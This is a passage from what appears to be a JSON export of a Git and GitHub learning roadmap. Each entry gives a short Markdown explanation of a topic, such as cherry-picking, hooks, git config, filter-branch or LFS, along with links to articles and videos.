    "content": "# Campus Program\n\nThe GitHub Campus Program offers GitHub Enterprise Cloud and GitHub Enterprise Server free-of-charge for schools that want to make the most of GitHub for their community. This program provides access to a comprehensive set of developer tools, as well as resources and support to help students and educators build projects, collaborate, and develop skills in software development.\n\nVisit the following resource to learn more:\n\n- [@official@About GitHub Campus Program](https://docs.github.com/en/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/checkout-branch@PtRo-wGiNAagZ6CykfvMr.md",
    "content": "# Checkout Branch\n\nIn Git, to \"checkout\" from a branch means to switch your working directory to that branch, making it the active branch. This updates your files to match the state of that branch and allows you to work on it.\n\nVisit the following resources to learn more:\n\n- [@official@git-checkout](https://git-scm.com/docs/git-checkout)\n- [@article@git-commands-checkout](https://www.git-tower.com/learn/git/commands/git-checkout)\n- [@video@Git Checkout. Different ways of using the checkout command in the Git Project](https://youtu.be/h_PIHOFUYuw?si=tebKCCb5U3ues0Io)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/checkout-tags@62E1tDMXB6K74OEN0WsS0.md",
    "content": "# Checkout Tags\n\nTags in Git are typically used to mark specific points in history, such as a release version. Checking out a tag means switching your working directory to the state of the repository at the point in time when that tag was created.\n\nVisit the following resources to learn more:\n\n- [@article@How To Checkout Git Tags](https://devconnected.com/how-to-checkout-git-tags/)\n- [@article@What is git tag, How to create tags & How to checkout git remote tag(s)](https://stackoverflow.com/questions/35979642/what-is-git-tag-how-to-create-tags-how-to-checkout-git-remote-tags)\n- [@video@Git Tag Tutorial | Create, Checkout, and Delete Git Tags | Learn Git](https://youtu.be/spkUevg1NqM?si=UXRwJEOI6bpN30nM)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/cherry-picking-commits@eFf2fesrs-1aVM5tH3ORQ.md",
    "content": "# Cherry Picking Commits\n\nCherry-picking in Git allows you to apply a specific commit from one branch to another, without merging the entire branch. This is useful when you want to bring in a specific feature or fix from one branch to another without incorporating all the changes from the source branch.\n\nVisit the following resources to learn more:\n\n- [@official@git-cherry-pick docs](https://git-scm.com/docs/git-cherry-pick)\n- [@article@Git Cherry Pick](https://www.atlassian.com/git/tutorials/cherry-pick)\n- [@video@Git Cherry Pick - Tutorial](https://youtu.be/i657Bg_HAWI?si=3jjn2X8Hi1na--F4)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/citation-files@Ddkss13_qDJTquDHbVTVs.md",
    "content": "# CITATION files\n\nYou can add a CITATION.cff file to the root of a repository to let others know how you would like them to cite your work. The citation file format is plain text with human- and machine-readable citation information.\n\nVisit the following resources to learn more:\n\n- [@official@CITATION Files Documentation](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/clean-git-history@i3AbARgzQtxtlB-1AS8zv.md",
    "content": "# Clean Git History\n\nCleaning up Git history can make your commit history more readable, concise, and organized. Here are some of the reasons why you'd want to clean your git history:\n\n- makes it easy to decipher the order of the commits in your repository\n- It facilitates finding commits that might have introduced bugs and enable rollback if necessary\n- To be able to deploy any commit on your development branch using your CI/CD system\n- If you are handling mobile app releases and you are responsible for figuring out what feature is in which release.\n\nVisit the following resources to learn more:\n\n- [@article@Clean GIT history — a Step by Step Guide](https://medium.com/@catalinaturlea/clean-git-history-a-step-by-step-guide-eefc0ad8696d)\n- [@video@Git Best Practice Tip: Clean Commit History](https://youtu.be/bZpiVijzd2g?si=8lJTlR3LfY9ZUd77)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/client-vs-server-hooks@zsU6R2zvJKnYNU2ac4o4p.md",
    "content": "# Client vs Server Hooks\n\nLike many other Version Control Systems, Git has a way to fire off custom scripts when certain important actions occur. There are two groups of these hooks: client-side and server-side. Client-side hooks are triggered by operations such as committing and merging, while server-side hooks run on network operations such as receiving pushed commits.\n\nVisit the following resources to learn more:\n\n- [@official@Git Hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks#:~:text=There%20are%20two%20groups%20of,for%20all%20sorts%20of%20reasons.)\n- [@article@Git Hooks: The Powerful Tool You're Probably Not Using](https://dev.to/algodame/git-hooks-the-powerful-tool-youre-probably-not-using-but-should-be-1lec)\n- [@video@Client vs Server Hooks](https://youtu.be/egfuwOe8nXc?si=IkbLCr-3eGE9x6cY)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/cloning-repositories@1Koej79yTv-OAswVZwgGq.md",
    "content": "# Cloning Repositories\n\nCloning a repository in Git and GitHub involves creating a local copy of a remote repository on your computer. This allows you to work on the project locally, commit changes, and later push those changes back to the remote repository.\n\nVisit the following resources to learn more:\n\n- [@official@git clone](https://git-scm.com/docs/git-clone)\n- [@official@Cloning a Repository](https://docs.github.com/en/repositories/creating-and-managing-repositories/cloning-a-repository)\n- [@article@Clone a Git Repository](https://www.atlassian.com/git/tutorials/setting-up-a-repository/git-clone)\n- [@video@Cloning Remote Repository into local machine](https://youtu.be/xeQih8LVtZM?si=djlyTDpLNS0oyqQH)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/code-reviews@xLB2fhsOm0Vu3xg_PusJB.md",
    "content": "# Code Reviews\n\nThe purpose of a code review in software development is to help ensure that the code meets the organization’s standards and requirements, is of high quality, and is maintainable. In addition to identifying errors and bugs, code reviews also promote a culture of learning and collaboration among the development team.\n\nSome of the benefits of code reviews include:\n\n- Increase code quality by identifying defects in the code and issues such as security vulnerabilities and performance problems—before developers merge the code into an upstream branch.\n- Ensure compliance with organizational standards, regulations, and the team’s code style.\n- Save time and money by detecting issues earlier in the software development process before they become more complex and expensive to fix.\n- Boost collaboration, communication, and knowledge sharing among developers by providing a forum to discuss code and ask questions, share ideas and best practices, and learn from each other.\n- Ensure that the code is maintainable by identifying any software maintenance issues and suggesting improvements.\n\nVisit the following resources to learn more:\n\n- [@article@A practical guide for better, faster code reviews](https://github.com/mawrkus/pull-request-review-guide)\n- [@article@How to improve code with code reviews](https://github.com/resources/articles/software-development/how-to-improve-code-with-code-reviews)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/collaboration-on-github@d_GNnB6PBINz1jxGNWAE-.md",
    "content": "# Collaboration on GitHub\n\nCollaboration on GitHub is a powerful way for multiple people to work together on the same project, using Git as the version control system. GitHub provides various tools and workflows that make collaboration efficient and organized.\n\nVisit the following resources to learn more:\n\n- [@official@How to collaborate in a GitHub project](https://gist.github.com/neklaf/9002d3acccf6b6e448db5c4c4e8764c0)\n- [@article@Best Practices for collaborating in github](https://www.gitkraken.com/blog/collaborate-on-github)\n- [@article@Working with GitHub in VS Code](https://code.visualstudio.com/docs/sourcecontrol/github)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/collaboration@bXfCUG3h1TIFPgD4WUDph.md",
    "content": "# Collaboration\n\nWhen working on projects with others, Git provides tools to facilitate collaboration through forking repositories using `git clone` or `git fork`, cloning them locally with git clone, managing pull requests with `git request-pull`, and resolving merge conflicts. To contribute effectively, follow established contributing guides and respect open-source licenses that govern how contributors' work may be used by others.\n\nVisit the following resources to learn more:\n\n- [@article@Git Fork and Git Clone: The difference and why it's important!](https://dev.to/danielasaboro/git-fork-and-clone-whats-the-difference-190c)\n- [@article@About pull requests](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)\n- [@article@About merge conflicts](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)\n- [@article@Setting guidelines for repository contributors](https://docs.github.com/en/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)\n- [@video@Git Fork vs Git Clone (Animated)](https://www.youtube.com/watch?v=rxh6MhK6Tbs)\n- [@video@The EXTREMELY helpful guide to merge conflicts](https://www.youtube.com/watch?v=HosPml1qkrg)\n- [@video@Free and Open Source software licenses explained](https://www.youtube.com/watch?v=UMIG4KnM8xw)\n- [@official@OSI Approved Licenses](https://opensource.org/licenses)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/collaborators--members@_ft-uvXt6s_xrcMT3fbSF.md",
    "content": "# Collaborators / Members\n\nIn GitHub, collaborators and members refer to individuals who contribute to or have access to your repository. Collaborators are users who have been granted permission to contribute code, make changes, and push updates to your repository, whereas members are the owners of a repository, including organization owners who have full control over their team's repositories. Members can be either individual collaborators or part of an organization team, with varying levels of access and permissions based on their role within the team.\n\nVisit the following resources to learn more:\n\n- [@article@Inviting collaborators to a personal repository](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)\n- [@official@REST API endpoints for collaborators](https://docs.github.com/en/rest/collaborators/collaborators?apiVersion=2022-11-28)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/collaborators@r-u1vTpUyuvsB0revOU0C.md",
    "content": "# Collaborators\n\nCollaborators in GitHub are users who have been granted direct access to a repository by the repository owner or organization administrators. Collaborators can perform actions like pushing commits, creating branches, and managing issues or pull requests, depending on the permissions granted to them. They are typically added to private repositories or to public repositories where more control over contributions is needed.\n\nVisit the following resources to learn more:\n\n- [@official@How to add collaborators to your personal projects](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)\n- [@official@Adding outside collaborators to repositories in your organization](https://docs.github.com/en/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization)\n- [@article@How to Add Collaborators to Your GitHub Repository](https://www.blinkops.com/blog/how-to-add-collaborators-to-your-github-repository)\n- [@video@Using GitHub for Team collaboration](https://youtu.be/4nyIS58ORWw?si=yK5LCONNVm9OIUK5)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/commit-messages@7lRUYWNSpHvJ-QyIE8RMa.md",
    "content": "# Commit Messages\n\nA Git commit message is a brief explanation of the changes introduced in a particular commit. It helps others (and your future self) understand the purpose of the changes and the context behind them. Writing clear and informative commit messages is an important practice for maintaining a well-organized and easily navigable project history.\n\nVisit the following resources to learn more:\n\n- [@article@How to Write Better Git Commit Messages](https://www.freecodecamp.org/news/how-to-write-better-git-commit-messages/)\n- [@article@Writing good commit messages](https://www.theodinproject.com/lessons/foundations-commit-messages)\n- [@article@How to Write Good Git Commit Messages like a pro](https://medium.com/front-end-weekly/how-to-write-good-git-commit-messages-like-a-pro-2c12f01569d9)\n- [@video@Write git commit messages like a PRO with Conventional Commits](https://youtu.be/OJqUWvmf4gg?si=Fgl3isZpP13jYXHP)\n- [@video@How to Make Actually Good Commits in Git](https://youtu.be/Dy5t_H2PRrk?si=0V-JEbqphpJX5OLl)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/commit-msg@jzYjHx-gIKSP8dQUTqWVw.md",
    "content": "# commit-msg\n\nThe commit-msg hook is a client-side hook that runs after you enter a commit message, but before the commit is finalized in your repository. It's typically used to validate or modify the commit message before it's recorded in the Git history.\n\nVisit the following resources to learn more:\n\n- [@article@A Git-Hook for Commit Messages Validation - No Husky, Just JS](https://dev.to/mbarzeev/a-git-hook-for-commit-messages-validation-no-husky-just-js-1hni)\n- [@video@Git Hooks Made Easy: Create a Custom 'commit-msg' Hook Script](https://www.youtube.com/watch?v=yH1lBm5t97s)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/committing-changes@2_z3R7seCvQVj-Na4H1SV.md",
    "content": "# Committing Changes\n\nCommitting changes in Git is a crucial part of version control, allowing you to save your progress and record a snapshot of your project's current state.\n\nVisit the following resources to learn more:\n\n- [@official@How git commit works](https://github.com/git-guides/git-commit)\n- [@article@Git commit](https://www.atlassian.com/git/tutorials/saving-changes/git-commit)\n- [@course@Staging Area (Interactive Lesson)](https://inter-git.com/lessons/adding-files-to-index)\n- [@course@Making a Commit (Interactive Lesson)](https://inter-git.com/lessons/making-a-commit)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/contribution-guidelines@pJ-najh7dXhhYA_0bDiR5.md",
    "content": "# Contribution Guidelines\n\nContribution guidelines are essential for collaborative projects on GitHub as they help streamline collaboration, set expectations for contributions, and maintain the project's quality and consistency.\n\nVisit the following resources to learn more:\n\n- [@official@Setting Guidelines for Repository Contributors](https://docs.github.com/articles/setting-guidelines-for-repository-contributors)\n- [@official@Contributing Guidelines](https://github.blog/news-insights/contributing-guidelines/)\n- [@official@Contributing Guides: A Template](https://github.com/nayafia/contributing-template)\n- [@article@How to Build a CONTRIBUTING.md](https://mozillascience.github.io/working-open-workshop/contributing/)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/creating-account@i7fIIHcBEk473te8bniJ5.md",
    "content": "# Creating Account\n\nTo get started with GitHub, you'll need to create a free personal account on GitHub.com and verify your email address. Every person who uses GitHub.com signs in to a personal account. Your personal account is your identity on GitHub.com and has a username and profile.\n\nVisit the following resources to learn more:\n\n- [@official@Creating an Account on GitHub](https://docs.github.com/en/get-started/start-your-journey/creating-an-account-on-github)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/creating-apps@5Oax1p7zIZ9HD2hmENPof.md",
    "content": "# Creating Apps\n\nGitHub Apps are a way to integrate with the GitHub platform programmatically, using either the REST API or GraphQL API. They allow developers to create custom integrations that can automate tasks, provide real-time notifications, and build custom workflows.\n\nVisit the following resources to learn more:\n\n- [@official@Creating GitHub Apps](https://docs.github.com/en/apps/creating-github-apps)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/creating-branch@OegitQ5Ngjvd3ZfMpfrkM.md",
    "content": "# Creating Branch\n\nCreating a branch in Git is a fundamental part of working with version control, allowing you to work on different features or fixes without affecting the main codebase. You can create branches either through the terminal or github interface\n\nVisit the following resources to learn more:\n\n- [@official@Git branch documentation](https://git-scm.com/docs/git-branch)\n- [@article@Git branch](https://www.atlassian.com/git/tutorials/using-branches)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/creating-repositories@c_FO6xMixrrMo6iisfsvl.md",
    "content": "# Creating Repositories\n\nCreating a Git repository means setting up a system to track changes in your project's files over time. This is crucial for version control, allowing you to manage, review, and collaborate on code efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@Quickstart for repositories - GitHub Docs](https://docs.github.com/en/repositories/creating-and-managing-repositories/quickstart-for-repositories)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/custom-domains@VdoxEWaU56-QCbHFRw649.md",
    "content": "# Custom Domains\n\nOn GitHub Pages, users can customize their site's URL by connecting a custom domain to their repository. This feature allows users to use their own domain name instead of the default GitHub.io subdomain, giving their site a more professional and personalized look.\n\nVisit the following resources to learn more:\n\n- [@official@Configuring a Custom Domain for Your GitHub Pages Site](https://docs.github.com/en/pages/configuring-a-custom-domain-for-your-github-pages-site)\n- [@video@How to Host a Website on GitHub Pages Free (Custom Domain Setup Included)](https://www.youtube.com/watch?v=e5AwNU3Y2es&t=156s)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/deleting-branch@1uDenoQ6zu7CT69FR2iQB.md",
    "content": "# Deleting Branch\n\nDeleting a Git branch means removing a line of development from your Git repository. A branch in Git is essentially a pointer to a specific commit, representing an independent line of development. When you delete a branch, you’re removing this pointer, making that line of development no longer accessible through the branch name.\n\nVisit the following resources to learn more:\n\n- [@official@Creating and deleting branches within your repository](https://docs.github.com/articles/creating-and-deleting-branches-within-your-repository)\n- [@article@How to Delete a Git Branch Both Locally and Remotely](https://www.freecodecamp.org/news/how-to-delete-a-git-branch-both-locally-and-remotely/)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/deploying-static-websites@ZHplGidvhxEIC3HN8KqRa.md",
    "content": "# Deploying Static Websites\n\nDeploying static websites on GitHub Pages involves uploading and serving website content that is generated beforehand, without dynamic functionality. This approach allows for fast deployment, low maintenance, and improved security.\n\nVisit the following resources to learn more:\n\n- [@article@How to Deploy a Static Website for Free Using GitHub Pages](https://medium.com/flycode/how-to-deploy-a-static-website-for-free-using-github-pages-8eddc194853b)\n- [@video@How to Host a Website on GitHub Pages Free (Custom Domain Setup Included)](https://www.youtube.com/watch?v=e5AwNU3Y2es)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/detached-head@0cLf7FiI9CX--UX45sm2f.md",
    "content": "# Detached HEAD\n\nIn Git, a detached head occurs when you check out a commit directly using its hash instead of a branch name. This leaves your repository's HEAD pointer pointing directly at that commit, rather than being linked to a specific branch. To view the history and changes made in a detached head, use `git log` or `git show`. If you want to see the differences between the current detached head and another branch, use `git diff <branch>`. A detached head can be a useful temporary state for exploring specific commits or features, but it's essential to merge those changes back into a branch before sharing them with others.\n\nVisit the following resources to learn more:\n\n- [@article@How to resolve detached HEAD state in Git](https://graphite.dev/guides/how-to-resolve-detached-head-state-in-git)\n- [@video@Head & Detached Head](https://www.youtube.com/watch?v=HvDjbAa9ZsY)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/documentation@D2WIExwfSnkAPIa5O-Hp5.md",
    "content": "# Documentation\n\nA well-maintained repository should include documentation that helps others understand the project, its context, and how to contribute to it. This is essential for fostering a community around your project and making it easier for newcomers to join in.\n\nHere are some key sections of documentation that you should consider including in each repository:\n\n- README.md: A brief introduction to the project, explaining what it's about, why it exists, and how to get started.\n- CONTRIBUTING.md: Guidelines on how others can contribute to the project, including steps for reporting issues, submitting pull requests, or suggesting new features.\n- LICENSE: Information about the license under which the repository is released, ensuring users understand their rights and responsibilities when using your code.\n- CHANGELOG: A history of changes made to the project over time, highlighting significant updates, bug fixes, or feature additions.\n\nThese documents help ensure a smooth onboarding process for contributors, making it easier for them to collaborate effectively and enhance the overall project.\n\nVisit the following resources to learn more:\n\n- [@article@How to Manage Documentation in a GitHub Repository: A Guide for Junior Developers](https://dev.to/mochafreddo/how-to-manage-documentation-in-a-github-repository-a-guide-for-junior-developers-pgo)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/fast-forward-vs-non-ff@agtPWS8j6i6wQPk10cy8E.md",
    "content": "# Fast-Forward vs Non-FF\n\nIn Git, when you merge branches, there are two primary types of merges: Fast-Forward and Non-Fast-Forward (No-FF). These terms describe how Git handles the history and pointers when merging branches. Understanding the difference between these two types of merges is crucial for managing your project's commit history effectively.\n\nA Fast-Forward merge occurs when the branch you are merging into (often main or master) has not diverged from the branch you are merging (often a feature branch). In other words, the commit history of the target branch is a strict subset of the branch being merged. In a Fast-Forward merge, Git simply moves the pointer of the target branch forward to the latest commit on the branch being merged.\nNo new merge commit is created; the history is linear.\n\nA Non-Fast-Forward (No-FF) merge happens when the target branch has diverged from the branch being merged or when you explicitly choose to create a merge commit. In this case, Git creates a new commit that represents the merging of the two branches. Git creates a new merge commit that has two parent commits: one from the target branch and one from the branch being merged. The merge commit is a snapshot of the merged work, preserving the history of both branches.\n\nVisit the following resources to learn more:\n\n- [@article@Git Fast-Forward VS Non-Fast-Forward](https://leimao.github.io/blog/Git-Fast-Forward-VS-Non-Fast-Forward/)\n- [@article@Git Merge: To Squash Or Fast-Forward?](https://dev.to/trpricesoftware/git-merge-to-squash-or-fast-forward-3791)\n- [@article@Difference between a git fast forward and no fast forward](https://gist.github.com/moraisaugusto/1fa02c49b6d9833fcdf665505595ac2e)\n- [@video@GIT Fast Forward Visualized](https://youtu.be/DN1fNYoJgDw?si=_TZKACj4SCOuESGm)\n- [@video@git merge no fast forward](https://youtu.be/X_8atqzsO8U?si=e9hMQg_aWLRMWf4O)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/fetch-without-merge@Gybnekbd1rJKTOf4hJ4Sh.md",
    "content": "# Fetch without Merge\n\nRunning `git fetch` retrieves changes from a remote repository into your local clone, but does not automatically merge any of these changes into your local working directory. This is different from `git pull`, which both fetches and merges remote changes. By using fetch without merge, you can ensure that your local clone is up-to-date with the latest information from the remote repository, while leaving your working directory unchanged. You can then choose to apply these changes by using merge or rebase. This approach helps maintain a clean and consistent local state, making it easier to manage and commit changes.\n\nVisit the following resources to learn more:\n\n- [@official@Git Fetch](https://git-scm.com/docs/git-fetch)\n- [@article@Git fetch](https://www.atlassian.com/git/tutorials/syncing/git-fetch)\n- [@video@Git Fetch | What is Git Fetch and How to Use it | Learn Git](https://www.youtube.com/watch?v=uEEcw1s_wWk)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/forking-vs-cloning@l1Wf7Pe_ah8ycCgslfSK4.md",
    "content": "# Forking vs Cloning\n\nForking and cloning are two fundamental concepts in Git, particularly when working with repositories hosted on platforms like GitHub, GitLab, or Bitbucket. While both actions involve copying a repository, they serve different purposes and have distinct workflows.\nCloning a repository means creating a local copy of a repository that exists on a remote server (e.g., GitHub) on your local machine. This allows you to work on the project locally, make changes, and then push those changes back to the remote repository if you have the necessary permissions.\nForking a repository is specific to platforms like GitHub, GitLab, and Bitbucket. When you fork a repository, you create a copy of someone else’s repository in your own account. This forked repository is independent of the original and can be modified without affecting the original project.\n\nVisit the following resources to learn more:\n\n- [@official@The difference between forking and cloning a repository](https://github.com/orgs/community/discussions/35849)\n- [@article@Git fork vs. clone: What's the difference?](https://www.theserverside.com/answer/Git-fork-vs-clone-Whats-the-difference)\n- [@video@Git Fork vs. Git Clone: What's the Difference?](https://youtu.be/6YQxkxw8nhE?si=mJNvcaB4lQccsU57)\n- [@video@GitHub Forking vs Cloning: Key Differences Explained](https://youtu.be/yQSjqYs2UBE?si=3BKYtWmkLIMWvA6G)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-attributes@CGj_UX5JMOOCKinedsNRc.md",
    "content": "# Git Attributes\n\nGit attributes are settings stored in the .gitattributes file, controlling how Git handles files in your repository. They can influence filtering (e.g., ignoring specific files), conversion (formatting or transforming files during Git operations), and formatting (applying consistent styles). These settings can be applied to specific file types (like *.txt) or filter files based on content patterns. Attributes also define smudge patterns (highlighting differences) and ignore patterns, helping maintain a clean repository by automatically applying intended settings for certain file types.\n\nVisit the following resources to learn more:\n\n- [@official@Customizing Git - Git Attributes](https://git-scm.com/book/en/v2/Customizing-Git-Git-Attributes)\n- [@opensource@gitattributes/gitattributes](https://github.com/gitattributes/gitattributes)\n- [@article@The benefits of git attributes and how to set them up](https://medium.com/@cloudwala/the-benefits-of-git-attributes-and-how-to-set-them-up-87f90251b8e0)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-bisect@ExXuwTQSI_lg4SRGW3Iu1.md",
    "content": "# Git Bisect\n\nGit Bisect is an interactive tool used to identify which commit in your project's history introduced a bug or regression. You start by identifying two commits: one where the issue isn't present (the \"good\" commit) and another where it is (the \"bad\" commit). Then, run `git bisect start`, followed by `git bisect good` for the good commit and `git bisect bad` for the bad commit. Git Bisect will guide you through a binary search process, asking you to test the midpoint of your current range until it identifies the exact commit that introduced the bug or regression.\n\nVisit the following resources to learn more:\n\n- [@official@Git Bisect](https://git-scm.com/docs/git-bisect)\n- [@article@Using `git bisect` to find the faulty commit](https://dev.to/alvesjessica/using-git-bisect-to-find-the-faulty-commit-25gf)\n- [@video@Git Bisect | How to use Git Bisect | Learn Git](https://www.youtube.com/watch?v=z-AkSXDqodc)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-commit---amend@NjPnEXLf1Lt9qzgxccogv.md",
    "content": "# git commit --amend\n\n`git commit --amend` is a command used to modify the most recent commit in your repository's history by updating its message, adding or removing files, or changing the commit's metadata. This allows you to correct mistakes or improve the commit's description after it has been made. When using --amend, Git will replace the existing commit with a new one that includes any changes made since the last commit, effectively \"amending\" the previous commit.\n\nVisit the following resources to learn more:\n\n- [@article@Changing a commit message](https://docs.github.com/en/enterprise-cloud@latest/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)\n- [@article@Rewriting history](https://www.atlassian.com/git/tutorials/rewriting-history)\n- [@video@Git Amend Tutorial: Rewrite Git History](https://www.youtube.com/watch?v=q53umU5vMkk)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-config@NMCWgzhhfUvFOMO5GbF_u.md",
    "content": "# git config\r\n\r\nThe `git config` command is a convenience function that is used to set Git configuration values on a global or local project level. These configuration levels correspond to .gitconfig text files. Executing `git config` will modify a configuration text file.\r\n\r\nThe most basic use case for `git config` is to invoke it with a configuration name, which will display the set value at that name. Configuration names are dot delimited strings composed of a 'section' and a 'key' based on their hierarchy. For example: `user.email`\r\n\r\nVisit the following resources to learn more:\r\n\r\n- [@official@Git - git-config Documentation](https://git-scm.com/docs/git-config)\r\n- [@article@git config | Atlassian Git Tutorial](https://www.atlassian.com/git/tutorials/setting-up-a-repository/git-config)\r\n- [@article@Setting your username in Git](https://docs.github.com/en/get-started/getting-started-with-git/setting-your-username-in-git)\r\n- [@article@Git config commands | Git tutorial](https://nulab.com/learn/software-development/git-tutorial/git-commands-settings/git-config-commands/)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-filter-branch@BKVA6Q7DXemAYjyQOA0nh.md",
    "content": "# git filter-branch\n\nYou can use `git filter-branch` to rewrite Git revision history by applying custom filters on each revision.\n\n- Filter types: You can modify trees (e.g., removing a file or running a Perl script) or information about each commit.\n- Preserving original data: The command preserves all original commit times, merge information, and other details unless specified otherwise.\n- Rewriting specific branches: Only the positive refs mentioned in the command line are rewritten; if no filters are specified, commits are recommitted without changes.\n\nNotably, there exists a simpler, safer, and more powerful alternative: `git filter-repo`. This tool is actively promoted by Git and offers a streamlined approach to filtering revisions, making it a preferred choice for rewriting your Git history, especially when managing large repositories.\n\nVisit the following resources to learn more:\n\n- [@official@git filter-branch](https://git-scm.com/docs/git-filter-branch)\n- [@official@git filter-repo](https://github.com/newren/git-filter-repo)\n- [@article@Removing sensitive data from a repository](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-hooks@pqBV7BMAs0z6qpfZeW2XP.md",
    "content": "# Git hooks\n\nGit hooks are scripts that run automatically at specific points during the Git workflow, such as when you commit, push, or pull changes from a repository. These scripts can be used to perform various tasks, like validating code, formatting files, or even sending notifications.\n\nThere are two types of Git hooks:\n\n- Client-side hooks: Run on your local machine before committing changes.\n- Server-side hooks: Run on the remote server when you push changes.\n\nVisit the following resources to learn more:\n\n- [@official@Customizing Git - Git Hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)\n- [@article@Git hooks](https://www.atlassian.com/git/tutorials/git-hooks)\n- [@video@What are GitHooks? Explained in 5 minutes](https://www.youtube.com/watch?v=1OFiiPretCM)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-init@1iOkbO5juk2LO-WZHx_W6.md",
    "content": "# git init\r\n\r\nThe `git init` command creates a new Git repository. It can be used to convert an existing, unversioned project to a Git repository or initialize a new, empty repository. Most other Git commands are not available outside of an initialized repository, so this is usually the first command you'll run in a new project.\r\n\r\nVisit the following resources to learn more:\r\n\r\n- [@official@Git - git-init Documentation](https://git-scm.com/docs/git-init)\r\n- [@article@git init | Atlassian Git Tutorial](https://www.atlassian.com/git/tutorials/setting-up-a-repository/git-init#:~:text=The%20git%20init%20command%20creates,run%20in%20a%20new%20project.)\r\n- [@course@Creating Repository (Interactive Lesson)](https://inter-git.com/lessons/creating-repository)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-lfs@zdunaucVe8J1tKf_z-NQo.md",
    "content": "# Git LFS\n\nGit Large File Storage (LFS) is an extension that helps manage large files by tracking metadata, not storing entire files. It allows storing and tracking binary assets like images, videos, audio files separately from your regular Git repository. By storing only metadata in your Git repository, you improve clone and push times, reducing storage usage. This approach is particularly useful for media repositories, large dataset storage, and binary asset management in game development. Note that Git LFS requires a separate server or storage system to store actual file content.\n\nVisit the following resources to learn more:\n\n- [@article@Learning About Git Large File System (LFS)](https://medium.com/swlh/learning-about-git-large-file-system-lfs-72e0c86cfbaf)\n- [@video@Git LFS (Large File Storage) | Learn Git](https://www.youtube.com/watch?v=jXsvFfksvd0)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-log-options@qFEonbCMLri8iA0yONwuf.md",
    "content": "# git log options\n\n`git log` is a command in Git that shows the commit history of your repository. It provides a detailed view of all commits, including their hashes, authors, dates, and messages.\n\nHere are some common git log options:\n\n- `-2`: Only show the last two commits.\n- `-- <file-name>`: Show the commits that modified a specific file.\n- `--all`: Show all branches in the repository.\n- `--graph`: Display the commit history as a graph.\n- `--pretty`: Enable clean colorized output.\n- `--no-color`: Disable colorized output.\n- `--stat`: Show a statistical summary of changes.\n- `**-S`: Only show commits with modified files.\n\nYou can combine these options to tailor your log output to suit your needs.\n\nFor example, `git log -2 --graph` will display the last two commits in graph form.\n\nVisit the following resources to learn more:\n\n- [@official@Git Log](https://git-scm.com/docs/git-log)\n- [@article@Git Log Cheatsheet](https://elijahmanor.com/blog/git-log)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-patch@sFf1PdFfmEdQxsEntfeFq.md",
    "content": "# Git Patch\n\nIn Git, a patch is a file that contains a set of changes made to a project's codebase. It's essentially a diff (difference) file that shows the modifications between two versions of a commit or a branch. However, despite its usefulness in certain contexts, the use of Git patches has declined somewhat with the advent of more modern and efficient ways to manage code changes.\n\nVisit the following resources to learn more:\n\n- [@article@Git Patch](https://www.gitkraken.com/learn/git/git-patch)\n- [@article@How to generate and apply patches with git?](https://gist.github.com/nepsilon/22bc62a23f785716705c)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/git-push---force@OQOmxg9mCfcjt80hpvXkA.md",
